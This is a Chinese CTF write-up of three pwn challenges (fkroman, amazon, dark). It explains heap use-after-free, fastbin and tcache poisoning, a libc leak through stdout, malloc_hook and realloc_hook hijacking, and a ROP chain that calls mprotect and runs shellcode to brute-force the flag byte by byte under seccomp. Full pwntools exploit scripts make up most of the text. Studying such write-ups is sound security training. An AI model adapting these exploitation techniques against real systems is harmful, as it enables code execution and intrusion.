比赛一共3题pwn,两题入门,最后一题中等挺有意思,涉及到seccomp以及shellcode爆破flag
fkroman
与De1CTF 2019 的Weapon基本一样,delete存在uaf,edit函数存在堆溢出,题目没有输出函数,所以要通过_IO_FILE来泄漏libc,
具体思路为先free一个fastbin,然后利用堆溢出修改fastbin的size为0x91,再次free,此时chunk即会包含main_arena+88,而后再利用UAF将fd爆破指向stdout前的位置(包含合法size”\x7F”),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
leak后再次利用uaf修改malloc_hook为one_target即可get shell
exp
from pwn import *
#context.log_level = 'debug'
def sl(x):
p.sendline(x)
def ru(x):
p.recvuntil(x)
def sd(x):
p.send(x)
def alloc(idx,size):
ru('choice: ')
sl('1')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
def free(idx):
ru('choice: ')
sl('3')
ru('Index: ')
sl(str(idx))
def edit(idx,size,cont):
ru('choice: ')
sl('4')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
sd(cont)
def pwn(p):
#gdb.attach(p)
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x90)
alloc(4,0x20)
free(1)
pay = p64(0)*3 + p64(0xe1)
edit(0,len(pay),pay)
free(3)
free(1)
pay = p64(0)*3 + p64(0x71)
edit(0,len(pay),pay)
#baopo stdout -> leak libc
#0x7f61bcf41b78 -> 0x7f61bcf42620
#0x7fa54b50bb78 -> 0x7fa54b50c620
#1/16 chance
pay = '\xdd' + '\x25'
edit(1,len(pay),pay)
alloc(5,0x60)
alloc(5,0x60)
pay = '\x00'*3 + p64(0)*6 + p64(0xfbad1887) + p64(0)*3 + '\x00'
edit(5,len(pay),pay)
p.recvuntil("\x7f")
p.recv(2)
libc_base = u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
malloc_hook = libc_base + 0x3c4b10
log.success('libc_base : 0x%x'%libc_base)
info('malloc_hook : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x4526a
#uaf hijack malloc_hook -> one_gadget
free(2)
edit(2,8,p64(malloc_hook-0x23))
alloc(2,0x60)
alloc(2,0x60)
pay = 'a'*0x13 + p64(one_gadget)
edit(2,len(pay),pay)
#trigger malloc_hook
ru('choice: ')
sl('1')
ru('Index: ')
sl('0')
ru('Size: ')
sl('10')
p.interactive()
while True:
try:
p = process('./fkroman')
pwn(p)
except Exception as e:
p.close()
amazon
- tcache的题目,题目有uaf,uaf先泄漏libc,但是由于出题人错开了0x20写的位置,所以通过先free一个chunk进tcache,然后等填充满tcache时再double free,同时通过前向合并再malloc一个大的堆块可以对tache bin的fd进行修改,由于直接改malloc_hook不符合one_gadget的条件,所以通过realloc_hook和malloc_hook来出发one_gadget
from pwn import *
context.log_level = 'debug'
p = process('./amazon')
def sl(x):
p.sendline(x)
def sd(x):
p.send(x)
def ru(x):
p.recvuntil(x)
def buy(item,many,size,cont):
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl(str(item))
ru('How many: ')
sl(str(many))
ru('r note: ')
sl(str(size))
ru('Content: ')
sd(cont)
def show():
ru('Your choice: ')
sl('2')
def checkout(idx):
ru('Your choice: ')
sl('3')
ru('pay for: ')
sl(str(idx))
for i in range(12):
buy(0,30,0x80,'aaaa')
for i in range(8):
checkout(i)
show()
for i in range(8):
p.recvuntil('Name: ')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 96 - 0x3ebc40
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3ebc28 - 0x20
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c
libc = ELF('libc-2.27.so')
realloc = libc_base + libc.symbols['__libc_realloc']
checkout(3)
checkout(4)
pay = 'd'*0x80 + p64(0xb0) + p64(0xb0) + p64(realloc_hook)
buy(0,30,0x100,pay)
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0xa0-0x28,p64(one_gadget)+p64(realloc+9))
gdb.attach(p,'b *0x5555555552e7')
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl('0')
ru('How many: ')
sl('10')
ru('r note: ')
sl('10')
#
p.interactive()
dark
程序限制了只能执行mprotect,read,open的syscall,程序有明显的栈溢出,所以思路是先通过mprotect改bss为rwx,然后往bss段上写shellcode,open,read我们的flag到bss段上,最后再shellcode爆破,爆破思路如下,alarm+5的地址有syscall,所以我们可以先改alarm_got的地址为alarm+5即为syscall
以及写shellcode爆破flag的思路来源 https://bbs.pediy.com/thread-217899-1.htm
#coding:utf-8
import signal
from pwn import *
#context.log_level = 'debug'
context.binary = './dark'
def sl(x):
p.sendline(x)
def sd(x):
p.send(x)
def ru(x):
p.recvuntil(x)
def csu(chunk,fake_rbp,r12,r13,r14,r15,call_addr):
p6_ret = 0x401272
mov_call = 0x401258
pay = chunk + p64(p6_ret)
pay += p64(0) + p64(1) + p64(r12)
pay += p64(r13) + p64(r14) + p64(r15)
pay += p64(mov_call) + 'a'*16 + p64(fake_rbp)
pay += 'a'*32 + p64(call_addr)
return pay
def pwn(p,num,char):
# rbx rbp r12 r13 r14 r15
# 0 1 call_got rdi rsi rdx
#rbx rbp r12 r13 r14 r15
p6_ret = 0x401272
mov_call = 0x401258
alarm_got = 0x404030
read_got = 0x404038
bss_addr = 0x404050+0x100
main_addr = 0x4011F1
leave_ret = 0x4011ef
#read(0,bss,0x1000) -> stack migration
pay = csu('a'*0x18,bss_addr,read_got,0,bss_addr,0x1000,leave_ret)
#gdb.attach(p,'b *0x401261')
sd(pay)
sleep(0.1)
#bss -> read(0,alarm_got,1)
pay = csu('a'*8,bss_addr+0x100,read_got,0,alarm_got,0x1,leave_ret)
pay = pay.ljust(0x100,'a')
#bss+0x100 -> set rax
pay += csu('a'*8,bss_addr+0x200,read_got,0,bss_addr-0x50,0xa,leave_ret)
pay = pay.ljust(0x200,'a')
#bss+0x200 -> mrpotect(0x404000,0x1000,7)
pay += csu('a'*8,bss_addr+0x300,alarm_got,0x404000,0x1000,7,leave_ret)
pay = pay.ljust(0x300,'a')
#open('/flag')
pay += 'a'*8 + p64(0x404460)
pay += asm(shellcraft.amd64.linux.open('./flag\x00'))
pay += asm(shellcraft.amd64.linux.read(3,bss_addr+0x500,0x50))
flag_addr = 0x404650
sc = asm('''
xor rdi,rdi;
xor rsi,rsi;
xor rdx,rdx;
push 0x404650;
pop rcx;
push 0x404750;
pop rsi;
mov rdx,0x100;
''')
sc += asm('mov rbx,[rcx+'+str(num)+']')
sc += asm('cmp bl,'+str(char))
sc += '\x74\x08' #je 8
sc += 'a'*8
sc += asm('mov rax,0;syscall')
pay += sc
sd(pay)
sleep(0.1)
sd('\x45')
sleep(0.1)
sd('a'*0xa)
#p.interactive()
#sd('a')
def myHandler(signum, frame):
#print 'cont : ',cont
print 'index : ',index,'i : ',i
cont.append(i)
print cont
if i == 125:
flag = ''
for j in cont:
flag += chr(j)
print flag
exit()
index = 0
cont = []
m = 'bbb'
while True:
for i in range(0x20,0x80):
signal.signal(signal.SIGALRM, myHandler)
signal.alarm(3)
try:
#print 'index',index,'i : ',i
p = process('./dark')
pwn(p,index,i)
p.recvline()
p.close()
except Exception as e:
p.close()
finally:
p.close()
index += 1